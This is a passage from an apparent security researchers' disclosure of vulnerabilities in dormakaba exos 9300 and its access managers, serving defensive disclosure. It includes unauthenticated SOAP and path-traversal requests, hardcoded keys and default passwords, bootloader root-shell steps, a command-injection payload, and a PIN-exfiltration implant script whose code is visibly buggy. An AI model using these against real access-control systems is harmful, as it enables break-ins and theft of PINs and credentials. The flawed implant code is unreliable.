Another interesting feature from an attacker’s perspective are “Automatic program starts”. The system management application, which is part of exos 9300 (d9sysdef.exe) provides the possibility to execute arbitrary executables at a specified time, similar to a scheduled task or cronjob. Within this menu, a path to an arbitrary executable as well as a start time can be specified. The background process R9Autop.exe, running with SYSTEM privileges by default, continuously checks if a task should be executed and then runs the executable with highest privileges. This feature can be used as a local privilege escalation to gain administrative privileges on the exos server, despite only having privileges in the exos fat client, not on the underlying OS.

As proof of concept, a binary has been compiled which checks which user is running the executable and writes the result in a text file (see figure 23). After the program is run by the exos service, the executable is run with SYSTEM privileges, as can be seen in the written text file (see figure 24).

Hardcoded Key for PIN Encryption (CVE-2025-59095)

The program libraries (DLL) and binaries used by exos 9300 contain multiple hard-coded secrets. One notable example is the function "EncryptAndDecrypt" in the library Kaba.EXOS.common.dll. This algorithm uses a simple XOR obfuscation technique combined with a cryptographic key (cryptoKey) to transform each character of the input string. However, it's important to note that this implementation does not provide strong encryption and cannot be considered secure for sensitive data. It's more of a custom encryption approach rather than a common algorithm used in cryptographic applications. The key itself is static and derived from the company's founder's name. The functionality is, for example, used to decrypt the user PINs before storing them in the MSSQL database. The code of the function, including the hardcoded key, can be seen in the following snippet.

public class PasswordCryptoProvider
{
	private static readonly string cryptoKey = "BauerBaxess";

	private static string EncryptAndDecrypt(string param)
	{
		if (param.Length == 0)
		{
			return "";
		}
		string text = string.Empty;
		int num = 0;
		int num2 = 0;
		while (num < param.Length)
		{
			if (num2 >= cryptoKey.Length)
			{
				num2 = 0;
			}
			byte b = (byte)param[num];
			if (b == byte.MaxValue)
			{
				b = 0;
			}
			byte b2 = (byte)(b ^ ((byte)cryptoKey[num2] & 0x3Fu));
			if (b2 == 0)
			{
				b2 = byte.MaxValue;
			}
			string text2 = text;
			char c = (char)b2;
			text = text2 + c;
			num++;
			num2++;
		}
		return text;
	}
}

To show the resulting data, the table in the MSSQL database containing the PIN codes of the RFID tokens can be viewed (see figure 25). The PIN codes are “encrypted” using the custom algorithm mentioned above. This process can be reversed with ease. The following figure shows a simple script reversing the process and decrypting the PINs (as shown in figure 26). 

More details about the algorithm can be found in our exos 9300 advisory. This vulnerability applies to the following exos 9300 version:

  • Kaba exos 9300: <4.3.3
Figure 27: Login to the Extended Mode using the default credentials

Weak Default Password (CVE-2025-59096)

Exos 9300 contains a feature called Extended Admin Mode. This settings panel is protected with the weak default password “ExtendedAdminMode”. This value is changed very rarely. 

Access Manager Vulnerabilities

Unauthenticated SOAP API (CVE-2025-59097)

As already described above, the SOAP API running on the access managers on port 8002 can be used to open all doors without prior authentication. However, as it turned out, the API is far more capable than we initially thought. Basically, the whole device configuration can be altered by an unauthenticated attacker. The whole device configuration is stored in an SQLite database and configuration parameters are identified by a certain parameter ID. This ID can be specified in the following POST request to change the configuration. To show the issue, the web interface password can be changed. The password protecting the web interface is saved as parameter 9 in the database on a K5 access manager. The password in the request can simply be passed in plain text, as the password is also stored in plain text in the SQLite database.

POST /ICommunicationHub2IDMMService HTTP/1.1
Content-Type: application/soap+xml; charset=utf-8; action="http://kbr.kaba.ch/services/ICommunicationHub2IdmmService/ICommunicationHub2IdmmService/BinaryTimezoneUpdate"
Host: <access manager IP>:8002
Content-Length: 362
Accept-Encoding: gzip, deflate
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"><s:Body><ParameterUpdate <s:Envelope
	xmlns:s="http://www.w3.org/2003/05/soap-envelope">
	<s:Body>
		<ParameterUpdate
			xmlns="http://kbr.kaba.ch/services/ICommunicationHub2IdmmService">
			<identifier>I010001</identifier>
			<parameters
				xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
				<Parameter>
					<Id>9</Id>
					<Value>newpassword</Value>
				</Parameter>
			</parameters>
		</ParameterUpdate>
	</s:Body>
</s:Envelope>

After sending this request, the newly set password can be used to login to the access manager’s web interface. The password change issue however does only exist on the dormakaba access manager 9200-k5, as the web application user is stored in the SQLite database only on this device. On the k7 access manager, the password is checked against the hash stored in /etc/passwd. Changing many other parameters, however, does work on both hardware revisions.

This vulnerability applies to the following products:

  • Access manager 92xx-K5: All versions on the market
  • Access manager 92xx-K7: <BAME 06.00

Trace Functionality Leaking Sensitive Data (CVE-2025-59098)

The access manager provides a TCP socket on port 4502 that is used to broadcast status and debug messages for maintenance purposes. The socket is available for everyone with network access and does not require any authentication. Depending on the verbosity level set, the level of detail varies. There are 5 trace levels available:

  • Off
  • Error
  • Warning
  • Info
  • Verbose

The trace level is set to off by default. The only thing that can be observed in this state is a keep alive with the value “KA KA” sent every second. However, we have observed multiple live installations in the wild with trace levels set to verbose.

The trace level can be set via two functionalities in the TraceClient.exe:

  • SetTraceLevelByPassword
    • Based on a CGI endpoint (settracelevel.cgi)
    • The user has to enter the password of the access manager web interface to set a new trace level
  • SetTraceLevelByIdentifier
    • Based on the SOAP API on Port 8002
    • No password is needed
    • The trace level is set based on the identifier of the device which is described in detail in chapter Addressing Scheme
    • This identifier can easily be guessed 

The code of the more interesting function SetTraceLevelByIdentifier can be seen in the following functions.

private void SetTraceLevelByIdentifier(IPAddress ipAddress, string traceLevel)
{
	string identifier = GetIdentifier(ipAddress);
	if (string.IsNullOrEmpty(identifier))
	{
		return;
	}
	string address = $"http://{ipAddress}:8002/ICommunicationHub2IdmmService";
	int num = 0;
	switch (traceLevel)
	{
	case "Off":
		num = 10;
		break;
	case "Error":
		num = 11;
		break;
	case "Warning":
		num = 12;
		break;
	case "Info":
		num = 13;
		break;
	case "Verbose":
		num = 14;
		break;
	}
	string format = "<soap:Envelope xmlns:soap='http://www.w3.org/2003/05/SOAP-ENVelope' xmlns:icom='http://kbr.kaba.ch/services/ICommunicationHub2IdmmService'>\r\n   <soap:Header/>\r\n   <soap:Body>\r\n      <icom:ExecuteSystemCommand>\r\n         <!--Optional:-->\r\n         <icom:identifier>{0}</icom:identifier>\r\n         <!--Optional:-->\r\n         <icom:datapointId>0</icom:datapointId>\r\n         <!--Optional:-->\r\n         <icom:command>{1}</icom:command>\r\n      </icom:ExecuteSystemCommand>\r\n   </soap:Body>\r\n</soap:Envelope>";
	format = string.Format(format, identifier, num);
	using WebClient webClient = new WebClient();
	string xml = webClient.UploadString(address, format);
	XmlDocument xmlDocument = new XmlDocument();
	xmlDocument.LoadXml(xml);
	XmlNamespaceManager xmlNamespaceManager = new XmlNamespaceManager(xmlDocument.NameTable);
	xmlNamespaceManager.AddNamespace("SOAP-ENV", "http://www.w3.org/2003/05/soap-envelope");
	xmlNamespaceManager.AddNamespace("ns1", "http://kbr.kaba.ch/services/ICommunicationHub2IdmmService");
	XmlNode xmlNode = xmlDocument.SelectSingleNode("SOAP-ENV:Envelope/SOAP-ENV:Body/ns1:ExecuteSystemCommandResponse/ns1:ExecuteSystemCommandResult", xmlNamespaceManager);
	string innerText = xmlNode.InnerText;
	if (!innerText.Equals("0"))
	{
		throw new AccessException();
	}
	identifiers[ipAddress] = identifier;
}

An example request can be seen in the following paragraph. The command is set to 14 to enable verbose trace output. No additional information besides the identifier is needed.

POST /ICommunicationHub2IDMMService HTTP/1.1
Content-Type: application/soap+xml; charset=utf-8; action="http://kbr.kaba.ch/services/ICommunicationHub2IdmmService/ICommunicationHub2IdmmService/BinaryTimezoneUpdate"
Host: <access manager IP>:8002
Content-Length: 376
Accept-Encoding: gzip, deflate

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/SOAP-ENVelope" xmlns:icom="http://kbr.kaba.ch/services/ICommunicationHub2IdmmService">
	<soap:Body>
		<icom:ExecuteSystemCommand>
		<icom:identifier>I010001</icom:identifier>
		<icom:datapointId>0</icom:datapointId>
		<icom:command>14</icom:command>
		</icom:ExecuteSystemCommand>
	</soap:Body>
</soap:Envelope>

By using the SetTraceLevelByIdentifier functionality or if the trace level is already set to verbose, an attacker can simply connect to the port and observe the output. An example output can be seen below, showing pressed keystrokes (1 – 2 – 3 - 4) on the PIN pad (stringData).

2025-01-01T11:46:12.211: React: MsgId is EnterPincodeIdentification
[…]
2025-01-01T11:46:14.992: PCL: [KCP1] [Event] EV_DEV_KEYPAD regUIdx=0 stringLen=1 stringData=1
[…]
2025-01-01T11:46:15.405: PCL: [KCP1] [Event] EV_DEV_KEYPAD regUIdx=0 stringLen=1 stringData=2
[…]
2025-01-01T11:46:15.833: PCL: [KCP1] [Event] EV_DEV_KEYPAD regUIdx=0 stringLen=1 stringData=3
[…]
2025-01-01T11:46:16.349: PCL: [KCP1] [Event] EV_DEV_KEYPAD regUIdx=0 stringLen=1 stringData=4
[…]		

This vulnerability applies to the following products:

  • Access manager 92xx-K5: <XAMB 04.06.212
  • Access manager 92xx-K7: <BAME 05.02.156

Unauthenticated Path Traversal (CVE-2025-59099)

While reverse engineering the individual components of our dormakaba access manager, we identified that the web interface is served by the open-source webserver CompactWebServer. In this webserver, we quickly identified a path traversal vulnerability, which allows us to directly access most files on the filesystem via a simple GET request.

The following curl command can be used to retrieve files from the access manager’s filesystem without prior authentication, in this case downloading the configuration database.

curl --path-as-is http:// <access manager IP>/../../../../../../../flash/Database.sq3 --output Database.sq3

This database contains not only the full device configuration, but also all PINs set for the enrolled chip cards, as well as the password set for the access manager's web interface in plaintext. 

In some instances, requesting certain files, like binaries belonging to the Windows CE Embedded image running on the access manager, via the Path Traversal vulnerability, results in a denial of service. This renders the access manager's web interface unreachable. The vulnerability can, for example, be triggered by accessing the file ping.exe in the following way.

curl --path-as-is http:// <access manager IP>/../../../../../../../windows/ping.exe

As it turned out, this issue has already been fixed before initiating the responsible disclosure process with dormakaba. However, one of our research devices had never received this patch and therefore we rediscovered this issue. It has been fixed in release XAMB 04.05.21 RA. 

This vulnerability applies to the following products: 

  • Access manager 92xx-K5: <XAMB 04.05.21
  • Access manager 92xx-K7: <BAME 04.05.16

Unauthenticated Access to the SQLite Database (CVE-2025-59100)

Figure 28: The SQLite database can be accessed without prior authentication.

The database export functionality in the Web UI of the dormakaba access manager 9200-k5 is suffering from an issue that allows an attacker to access a previously exported database without prior authentication. If the SQLite database has been exported once via the web interface, it is accessible via the directory “database”.

An attacker can simply navigate to the following URL to download the database export:

http:// <access manager IP>/database/Database.sqlite

If the file exists, it is downloaded without any prior authentication. 

This vulnerability applies to the following products:

  • Dormakaba access manager 92xx-k5: <XAMB 04.06.212

Insufficient Session Management (CVE-2025-59101)

Unlike conventional session management mechanisms that rely on tokens or cookies, authentication is validated on a per-request basis. The access manager’s webserver checks whether the originating IP address has previously logged in successfully. Once an authentication attempt from a given source IP address succeeds, that IP address is considered authenticated with no additional session information being maintained. As a result, an attacker could potentially spoof the IP address of an authenticated user to gain unauthorized access to the access manager’s web interface.

The issue in session management can be demonstrated by sending the following request via curl to log in.

curl http:// <access manager IP>/login.cgi?password=<passwordhash>

The server then simply responds with "LoggedIn". After successfully logging in from one certain IP address, it is possible to send all other requests without providing an access token or cookie value. An attacker spoofing the IP address is now also able to execute authenticated actions. One very interesting scenario unfolds when NAT or VPN exit IPs enter the equation. When NAT or a shared VPN exit IP is involved, a scenario can occur where multiple hosts are unintentionally treated as authenticated after just one user logs into the access manager’s web interface, coming from the same IP.

This vulnerability applies to the following products:

  • Access manager 92xx-K5: <XAMB 04.06.212
  • Access manager 92xx-K7: <BAME 04.07.268

Secrets Stored in Plaintext in Database (CVE-2025-59102)

Each access manager is using an SQLite database to store all relevant configuration parameters. There are multiple ways for an attacker to obtain the database:

  • Log into the Web UI with the default password “admin” that is set on a vast number of encountered live installations and export the database.
  • Use the path traversal documented in Unauthenticated Path Traversal
  • Exploit the issue documented in Unauthenticated Access to the SQLite Database, that allows an attacker to download a previously exported database without authentication

After obtaining the database it can be opened in the SQLite viewer of your choice. The database contains the following tables:

Alarmzone ExternalDevice Passageway
BinaryTimezones ExternalDeviceInfoTable RegistrationUnits
BookingEventDefs Inputs SitekeyDefinitions
Calendar KeyDefinitions SubdeviceComponents
Cards Outputs SyncPoint
Codelocks Parameters Timezones
Events PassagewayComponent XmlConfigFiles

Some tables of interest include the table “Parameters” which contains the whole device configuration including the admin password in plaintext (parameter 9), as well as the table “Cards”, containing all card UIDs and their PINs in plaintext.

A sample of the “Card” table can be seen in figure 29 and 30. 

This vulnerability applies to the following products:

  • Access manager 92xx-K5: < XAMB 04.06.212

Weak Default Passwords for SSH Access (CVE-2025-59103)

The dormakaba access manager is offering an SSH service (that is enabled by default) which can be accessed using two different users, root and update_user. They are used as follows:

The root user

The user is able to login via SSH. The default password is “eac”. The password is randomly generated at first start of the device. Responsible for that is a script at the following location of the access manager.

/opt/dormakaba/password_changer

Under certain circumstances the password is not randomly generated and stays the same default password ("eac"). We observed that in the wild. The reason for this issue is that the password is only set randomly if the date of the internal clock is greater than 2022. The relevant part of the script can be seen in the following code snipped from the password_changer bash script.

[… snip …]
################## 
##  Functions   ##
##################
check_etc_shadow() {
    if [ -f /etc/shadow ] && [ -s /etc/shadow ]; then
        ROOT_PASSWD_HASH=$(grep root < /etc/shadow  | cut -d ':' -f 2)
    else
        echo "/etc/shadow missing or empty, creating it ..."
        touch /etc/shadow
        # only make it readable for root, as that is the purpose the shadow file was introduced for
        chmod go-rwx /etc/shadow
        # restoring default password for update_user
        echo "update_user:\$1\$ombaQHlp\$jqdDyjpD2PJ.6j74PlwDd0:::::::" > /etc/shadow
    fi
    if [ -z "$ROOT_PASSWD_HASH" ]; then
        echo "'/etc/shadow' corrupted! Trying to fix it ..."
        echo "root:\$5\$:::::::" >> /etc/shadow
    fi
}
# TODO: This check can be removed in future if it is possible to set the time in Barebox / or we decide we don't need the time to be set
check_date() {
    if [ "$(date +%Y)" -lt "2022" ]; then 
      echo "Date has not been set, will not change root password."
      exit 1;
    fi
}
[… snip …]
####################### 
##  Starting point   ##
#######################
check_etc_shadow
check_date
if [ -n "$ROOT_PASSWD_HASH" ]; then
    SALT=$(echo "$ROOT_PASSWD_HASH" | cut -d '$' -f 3)
    EAC_PASSWD_HASH=$(mkpasswd -m sha256 -S "$SALT" eac)
fi    
if [ "$EAC_PASSWD_HASH" = "$ROOT_PASSWD_HASH" ] || [ ! -f /opt/dormakaba/jail/fp.txt ]; then
    echo "Detected standard password or missing fingerprint. Generating new password ..."
    GENERATED_PASSWORD=$(head -c 32 /dev/urandom | md5sum | head -c 32)
    # create fingerprint file
    ENCRYPTED_PASSWORD=$(echo "$GENERATED_PASSWORD" | openssl rsautl -pkcs -encrypt -inkey "$ENCRYPTION_CERT" -pubin | openssl enc -base64)
    create_fingerprint_file > "$FINGERPRINT_FILE"
    # change password
    yes "$GENERATED_PASSWORD" | passwd -a sha256 root
else
    echo "Password will not be changed."
fi
exit 0;

If the internal clock cannot be set at the first initialization or maybe also in case the time deviates for some reason, the date may end up set to 1970. If this is the case, it is possible to log into the device using the user root and the default password “eac”. 

The update_user

The second user has the name “update_user” and the default password “secret”. The password is the same as the password used for the web user interface as soon as it is changed for the first time. The user is used for automatic updates via exos 9300. The user, which is also hardcoded in an update tool, connects via SFTP to the access manager and can place a firmware update file inside of a directory. The file is automatically pulled from the folder and applied by the system. The following code snippet shows the firmware upgrade function from the FirmwareUpgrade.Service.dll used by the tool AM_ServiceTool.exe , which is part of exos 9300.

public void StartFirmwareUpgrade(IUpgradeFirmware config, byte[] firmware)
{
	if (firmware == null)
	{
		throw new ArgumentNullException("firmware");
	}
	string tempFileName = Path.GetTempFileName();
	File.WriteAllBytes(tempFileName, firmware);
	string userName = "update_user";
	if (!SendFirmwareFileViaSftp(tempFileName, targetFilename, host, userName, config.Password, logAuthFail: false, out var authFail) && authFail)
	{
		SendFirmwareFileViaSftp(tempFileName, targetFilename, host, userName, "secret", logAuthFail: true, out authFail);
	}
	File.Delete(tempFileName);
}

It can be clearly seen that the firmware upgrade functionality is falling back to the default password "secret" if no password was set. 

This vulnerability applies to the following products:

  • Access Manager 92xx-K7: <BAME 05.01.88

Unlocked Bootloader (CVE-2025-59104)

Figure 31: UART debugging header of the access manager 9200-k7

Looking at the PCB of the access manager 9200-k7, a UART debugging header can be identified. By soldering wires to the respective pins, an attacker can gain access to the bootloader and can change the kernel command line parameters.

The UART must be configured for 1.8V, 115200 Baud, 8 Data Bits, 1 Stop Bit (8N1) as shown in figure 31.

Pressing any key during the boot process of the access manager results in a barebox bootloader shell.

barebox 2017.09.0-BSP-Yocto-phyBOARD-Segin-dormakaba.17.2 #1 Thu Jan 27 19:40:11 CET 2022
Board: Phytec phyCORE-i.MX6 Ultra Lite SOM
[……….]
Hit m for menu or any other key to stop autoboot:
Main menu
1: Boot default
2: Detect bootsources
3: Settings
4: Save environment
5: Shell
6: Reset
barebox@Phytec phyCORE-i.MX6 Ultra Lite SOM:/

This shell can be used to modify the kernel command line by modifying the global.linux.bootargs.dyn.root environment variable. To modify the environment variable, the relevant partition of the NAND flash must be mounted with the nand-b script located at /env/boot/nand-b. After that, the kernel command line can be modified by appending "init=/bin/sh" to be dropped into root shell after boot.

global.linux.bootargs.dyn.root="system0 console=ttymxc0,115200n8 root=ubi0:root-a ubi.mtd=root rootfstype=ubifs rw POR init=/bin/sh"

The boot process can be continued by executing the “bootm” command. This results in a root shell on the access manager.

barebox@Phytec phyCORE-i.MX6 Ultra Lite SOM:/ bootm
Loading ARM Linux zImage '/dev/nand0.root.ubi.kernel-b'
Loading devicetree from '/dev/nand0.root.ubi.oftree-b'
commandline: console=ttymxc0,115200n8 system0 console=ttymxc0,115200n8 root=ubi0:root-b
ubi.mtd=root rootfstype=ubifs rw POR init=/bin/sh
[
0.000000] Booting Linux on physical CPU 0x0
[
0.000000] Linux version 5.10.186 (jenkins@29afda0e0743) (arm-linux-gcc.br_real (Buildroot
2023.02) 10.4.0, GNU ld (GNU Binutils) 2.38) #1 SMP Thu Aug 1 10:41:58 UTC 2024
[...]
[
2.621221] Run /bin/sh as init process
/bin/sh: can't access tty; job control turned off
~ # id
uid=0(root) gid=0(root)

We thank our colleagues Steffen Robertz and Constantin Schieber-Knöbl from the SEC Consult Hardware Lab for their hardware exploitation support.

This vulnerability applies to the following products:

  • Access manager 92xx-K7:<BAME 06.00

Unencrypted Flash Storage (CVE-2025-59105)

Figure 32: The webserver on the access manager 9200-k7 is running with root privileges.

During our research we also had a look at the components soldered on the access manager’s PCB. On this board, a flash storage is located which can be dumped and then extracted via tools like Unblob or Binwalk. This revealed that the whole OS and the filesystem are unencrypted, thus making it possible to read all data including passwords and certificates stored from the device.

We thank our colleagues Steffen Robertz and Constantin Schieber-Knöbl from the SEC Consult Hardware Lab for their hardware exploitation support.

This vulnerability applies to the following products:

  • Access manager 92xx-K5: All versions on the market
  • Access manager 92xx-K7:<BAME 06.00

Web Server Running with Root Privileges (CVE-2025-59106)

The binary serving the web server and executing basically all actions launched from the Web UI is running with root privileges. The access manager therefore does not adhere to the least privilege principle. If an attacker is able to execute code on the system via other vulnerabilities it is possible to directly execute commands with highest privileges.

This vulnerability applies to the following products:

  • Access manager 92xx-K5: All versions
  • Access manager 92xx-K7: <BAME 06.00

Static Firmware Encryption Password (CVE-2025-59107)

Together with the dormakaba exos 9300 client application a tool to update the firmware of the access managers is installed. Within the decompiled source code of the tool FWServiceTool, a hardcoded firmware encryption password has been identified. Within the class FirmwareContainerFactory, the following line can be found:

private const string Password = "649dce<redacted>801c81";

We observed that this password was used to encrypt and decrypt ZIP archives containing the firmware images used for updating the devices via the FWServiceTool.

This vulnerability applies to the following products:

  • Access manager 92xx-K5: All versions on the market

Weak Default Password (CVE-2025-59108)

The access manager's Web UI is equipped with a default password from the factory with the value set to “admin”. Based on the access manager’s hardware and firmware revision, end users are forced to change the password during the first login or not. Details can be found in the following table.

Hardware Firmware Version Password Change enforced
9200-k5 All No
9200-k7 < BAME 04.07.268 No
9200-k7 >= BAME 04.07.268 Yes

During countless infrastructure assessments in recent years, we encountered a multitude of dormakaba installations installed by certified vendors. All of them still had the default password set and a login was directly possible. All of them were using the older hardware where a user is never forced to change the default password. 

This vulnerability applies to the following products:

  • Access manager 92xx-K5: All versions on the market
  • Access manager 92xx-K7: <BAME 04.07.268

Missing Transport Layer Encryption

The services provided by the access managers, the SOAP API, Web UI, as well as the TraceClient are only available via unencrypted HTTP/raw TCP by default. Depending on the hardware in use, (m)TLS can be enabled. Details can be found in the following table.

  9200-k5 9200-k7
TLS for the Web UI Not Supported Supported
mTLS for SOAP Not Supported (Hardware Limitation) Supported
TraceClient Not Supported Not Supported

This vulnerability applies to the following products:

  • Access manager 92xx-K5: All versions on the market
  • Access manager 92xx-K7: All versions on the market

Potential Command Injection/Argument Injection

An attacker can set specially crafted values as a new password, which may allow the execution of arbitrary commands on the access manager. This is possible because the password is passed directly into a shell command that invokes printf and passwd, with the input strings concatenated. As a result, the process is vulnerable to command and argument injection. The potential command injection is located in the DLL Kaba.Idmm.Webserver.dll specifically in the class SettingsController.cs. The vulnerable code can be seen in the following listing. The parameter "newPassword" is controlled by the attacker.

public static bool SetPassword(string oldPassword, string newPassword, HttpListenerResponse response)
		{
			if (string.IsNullOrEmpty(ParameterTable.Instance.ReadPasswordHash()))
			{
				TraceSettings.TraceWithWarningLevel("SettingsController.SetPassword: Failed to retrieve current password");
				error = "Error: Internal Server Error";
				response.StatusCode = 500;
				return false;
			}
			if (!ParameterTable.Instance.VerifyPassword(oldPassword))
			{
				TraceSettings.TraceWithWarningLevel("SettingsController.SetPassword: Changing password failed, incorrect password!");
				error = "Error: Password is incorrect!";
				response.StatusCode = 401;
				return false;
			}
			if (newPassword.Length < 7 || newPassword.Length > 40)
			{
				TraceSettings.TraceWithWarningLevel("SettingsController.SetPassword: Changing password failed, password must be 7-40 characters!");
				error = "Error: password must be 7-40 characters!";
				response.StatusCode = 400;
				return false;
			}
			string newPasswordEscaped = newPassword;
			newPasswordEscaped = newPasswordEscaped.Replace("\"", "\\\"");
			newPasswordEscaped = newPasswordEscaped.Replace("'", "'\\''");
			string args = "-c \"printf '%s\n%s' '" + newPasswordEscaped + "' '" + newPasswordEscaped + "' | passwd update_user\"";
			if (!SystemApi.RunSystemProcess("sh", args))
			{
				TraceSettings.TraceWithErrorLevel("SettingsController.SetPassword: Changing password on platform level failed!");
				response.StatusCode = 500;
				return false;
			}
			ParameterTable.Instance.SetPassword(newPassword);
			TraceSettings.TraceWithInfoLevel("SettingsController.SetPassword: Password changed!");
			SystemApi.RunSystemProcess("/bin/sync");
			response.StatusCode = 200;
			return true;
		}

During our research we were able to identify multiple cases that can be potentially exploited:

  • Potential Argument Injection
  • Potential Command Injection
  • DoS

By setting the following password as an example, it was not possible to execute a command. But we believe with more time and a more detailed look in the shell used, a successful attack might be possible due to the custom filtering implemented.

\\\"; touch /tmp/test; 

Strace output can be seen in the following output.

[pid 1234] execve("/usr/bin/sh", ["/usr/bin/sh", "-c", "printf '%s%s' '\\;", "touch", "/tmp/test; \\; touch /tmp/test;' | echo 'success'"], 0x55a70daabeef /* 63 vars */) = 0

The following password set via the web ui, results in an argument injection in the shell (busybox) used.

 \\\"; -h; 

The following Strace output can be observed.

[pid 1234] execve("/usr/bin/sh", ["/usr/bin/sh", "-c", "printf '%s%s' '\\;", "-h \\; -h' | echo 'success'"], 0x55a70daabeef /* 63 vars */) = 0

This vulnerability applies to the following products:

  • Access manager 92xx-K7:<BAME 06.00
Figure 33: Back of the dormakaba 90 02 PIN pad.
Figure 34: Wires connected to the UART of the registration unit 90 02.
Figure 35: Test setup with wires connected from UART to the Raspberry Pi.

PIN Pad Vulnerability

UART Leaking Sensitive Data (CVE-2025-59109)

Another element in scope of our research included the dormakaba registration unit 90 02. This registration unit is equipped with an RFID card reader and a PIN pad. The communication takes place via coax. The PIN pad can be easily detached by everyone with physical access, due to the quick release system used by dormakaba. An attacker can simply pull the device off the wall without any tools needed. After doing that, the attacker is presented with the following beautiful backside (see figure 33).

We immediately spotted multiple interesting soldering pads that we could possibly attach to, to get a deeper understanding and access to the device. To make that soldering process easier for us by removing the protective coating, we used our old friend…. Acetone! 

The beautiful back is now gone for good, as we are finally able to access the soldering pads. After using the multi meter and a little bit of trial and error we identified UART connector pins. The configuration looks as shown in figure 34.

We connected to the UART interface with the following parameters:

  • Baudrate: 57.600
  • Stop Bit: one
  • Parity: none

Initially the UART produced no output. However, after entering a numeric PIN on the PIN pad and pressing the Enter key, the UART began transmitting data. The captured serial output is shown below, containing the pressed key, as well as some kind of coordinates on the PIN pad:

1,1324,0395,
5,1294,0386,
8,1290,0398,
6,1294,0388,
6,1294,0403,
E,1304,0374,

As can be clearly seen the UART is spitting out the entered PINs. This is not a super critical issue but could be used in combination with a hardware implant to exfiltrate PINs. To demonstrate this, we used a Raspberry Pi Pico as an implant that fits perfectly into the backside of the PIN pad. The first demo setup can be seen in figure 35.

The following code was used to exfiltrate the entered PINs via Wi-Fi to an attacker’s device.

import network
import socket
from time import sleep
import machine
from machine import Pin,UART
import time
#initialize WiFi
ssid = 'PIN_PoC'
password = '<password>'
#initialize UART
uart = UART(1, baudrate=57600, tx=Pin(4), rx=Pin(5))
uart.init(bits=8, parity=None, stop=1)
# initialize socket
s = socket.socket()
addr = socket.getaddrinfo('192.168.1.136', 4242)[0][-1]
def connectWiFi():
    #Connect to WLAN
    wlan = network.WLAN(network.STA_IF)
    wlan.active(True)
    wlan.connect(ssid, password)
    while wlan.isconnected() == False:
        print('Waiting for connection...')
        sleep(1)
    print(wlan.ifconfig())
    
    
def exfilData():
    s.connect()
    while True:
    if uart.any(): 
        data = uart.read() 
         s.send(data)
    time.sleep(1)
    
try:
    connect()
    exfilData()
except KeyboardInterrupt:
    s.close()
    machine.reset()

An attacker can then connect to the TCP socket on the Raspberry Pi and the entered PINs from the PIN pad are forwarded in real-time via TCP.

This vulnerability applies to the following products:

  • Registration Unit 90 02 with hardware revision < SW0039

Section 3 – Prerequisites, Mitigations, and Disclosure

This section covers the prerequisites required to exploit each vulnerability (including a per-finding prerequisites overview). We discuss how different deployment and network conditions influence real-world exploitability, e.g. via 3rd party devices, guest zones or other environment misconfigurations. In the worst case, certain devices may be accessible and exploitable directly over the Internet. Further, we provide the recommended solution, detail the affected hardware and software, and summarize the responsible disclosure timeline.

Prerequisites Table

The following table shows all prerequisites per vulnerability.
  Network access Hardcoded Credentials Exos 9300 Credentials Exos server access Physical Access Access to encrypted firmware image
Opening doors 1 (SOAP) X          
Opening doors 2 (Legacy Accounts) X X        
Opening doors 3 (exos 9300 SOAP API) X          
Opening doors 4 (RPC) X          
Unauthenticated exos 9300 SOAP API (forge logs, gather PINs, etc.) X          
Calculate MSSQL password of Exos9300Common   X   X    
Privilege Escalation via exos 9300 client       X    
Hardcoded & Weak XOR Key for PIN Encryption   X   X    
Extended Admin Mode Default Password       X    
Trace Functionality Leaking Sensitive Data X          
Missing Transport Layer Security X          
Insufficient Session Management X          
Path Traversal X          
Unauthenticated access to internal SQLite Database X          
Static Firmware Encryption Password   X       X
Unlocked Bootloader         X  
Unencrypted Flash Storage         X  
Potential Command Injection/Argument Injection X   X      
Weak Default Passwords for SSH X          
Exposed UART Leaking Sensitive Data         X  

Remarks about network access prerequisites

As the table showing the prerequisites for the individual vulnerabilities and attacks demonstrates, network access to the access managers and the exos server are essential for most vulnerabilities. Especially for the most critical ones. This raises the question whether those attacks are even feasible if an attacker is not already inside the company with direct network access. However, our real-world experience shows that there are often multiple ways to gain direct network access to the access managers, even without already being in the company’s network.

Network access via 3rd party devices

In multiple instances we observed that companies try to make the access control system even more secure by enforcing a second factor in addition to the RFID card. Usually, this is achieved by placing a fingerprint reader or other biometric readers directly next to the card reader, which is therefore also placed in an accessible, non-secure zone. 

At first, this sounds great. A second factor is always better than one, right? However, in multiple cases this proved to make the access control system less secure. When looking at how those biometric readers work, we can see that they are often connected via Ethernet, directly connected to the internal network and communicating to the access managers and the exos server. 

Figure 36: dormakaba Terminal with accessible Ethernet port.

This is not dormakaba specific but applies to almost all manufacturers of PACS. Since those readers are not located in a secure zone, the only thing keeping an attacker out of the network and from communicating with the access managers and opening doors at will, are the freely accessible screws mounting the biometric reader to the wall. Figure 36 shows an exemplary biometrics reader from the official dormakaba documentation.  

Image source: cdn.nextproducts.at/m20/78/43577778/etc/42/43659342.pdf

There are many different devices on the market which are mounted mostly in unsecured zones and due to that conveniently provide access to the internal network. Dormakaba, for example, sells biometric readers and time recording terminals. All are connected via Ethernet to the internal network, like the dormakaba Terminal 96 00, 97 00 or the Terminal 98 00. But we also observed biometric terminals from other vendors which can serve as entry point to the network. Once unmounted, all vulnerabilities described above that need network access as prerequisite can be exploited without ever accessing a secure zone.

Figure 37: Zone bypass by an attacker in the guest zone.

Network and even physical access via Guest Zones

As already mentioned in the intro of this blogpost, zones are used in physical security to group areas of a building or property based on their level of sensitivity. For example:

  • Outer/Public Zone  -  Open to everyone (e.g., lobby, reception area).
  • Guest Zone  -  Areas that visitors can access with limited restrictions.
  • Inner/Office Zone  -  Restricted areas reserved for staff and critical operations.
  • Server Room - Restricted, e.g. only accessible by IT

Each of these zones may be protected by its own access manager. In this case, three separate controllers are used to secure three different zones. This is a common setup seen in typical office setups. All access managers are connected to the same network without adequate segmentation or firewalling. This lets an attacker who compromises a controller in the least-secure zone (for example, the guest zone) pivot laterally to access and ultimately compromise controllers in more sensitive zones. An attacker who gains access to the network-connected controller in the guest zone may be able to:

Thus, allowing to gain access to other zones. In almost all installations we have seen so far, this is a very prominent issue in the general architecture of an access control system. This issue is not only relevant for dormakaba, but for all other manufacturers as well.

 

Figure 38: dormakaba access manager exposed in a publicly accessible environment.

Network access via installations not aligned to dormakaba's instructions

